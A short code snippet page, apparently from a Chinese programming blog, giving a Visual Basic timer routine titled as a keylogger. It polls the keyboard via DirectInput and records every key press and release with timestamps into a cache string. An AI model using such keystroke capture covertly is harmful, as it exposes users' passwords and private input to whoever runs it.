vb键盘记录

Private Sub Timer1_Timer()
' DX键盘记录
'On Error Resume Next
Static keyArray(255) As Byte
Dim key_count As Integer, vKeyCode As Integer, vKeyASC As String
DI_Keyboard.GetDeviceStateKeyboard key_state  '轮询键盘,并把键盘输入保存到key_state结构中
For key_count = 0 To 255
    If keyArray(key_count) <> key_state.Key(key_count) Then   '判断是否有键被按下或弹起,key_count代表的是被按下的键的扫描码
      vKeyCode = MapVirtualKey(key_count, 1) '扫描码转虚拟码
      vKeyASC = Chr(MapVirtualKey(vKeyCode, 2))   '虚拟码转换为ASCII字符
      If vKeyASC <> Chr(0) Then
        If GetKeyState(VK_CAPITAL) Mod &HFF80 = 1 Then
            vKeyASC = UCase(vKeyASC)   '根据大小写锁定键判断大小写
        Else
            vKeyASC = LCase(vKeyASC)
        End If
        If vKeyASC = " " Then vKeyASC = "【空格】"
      Else
        vKeyASC = "【" & CStr(vKeyCode) & "】"   '如果是不能显示的键,则直接显示虚拟码
      End If
      If key_state.Key(key_count) = 0 Then vKeyASC = vKeyASC & "|" & "up" Else vKeyASC = vKeyASC & "|" & "down" '记录是按下(down)还是弹起(up)
      DataKeyCacheDX = DataKeyCacheDX & vKeyASC & " "          '存储按键,以空格为分隔符
      DataKeyCacheDXMore = DataKeyCacheDXMore & Now() & "|"    '存储按键时间信息,以|为分隔符
      Text1.Text = DataKeyCacheDX
    End If
    keyArray(key_count) = key_state.Key(key_count)
Next
End Sub

你可能感兴趣的:(timer,Integer,存储,UP,vb)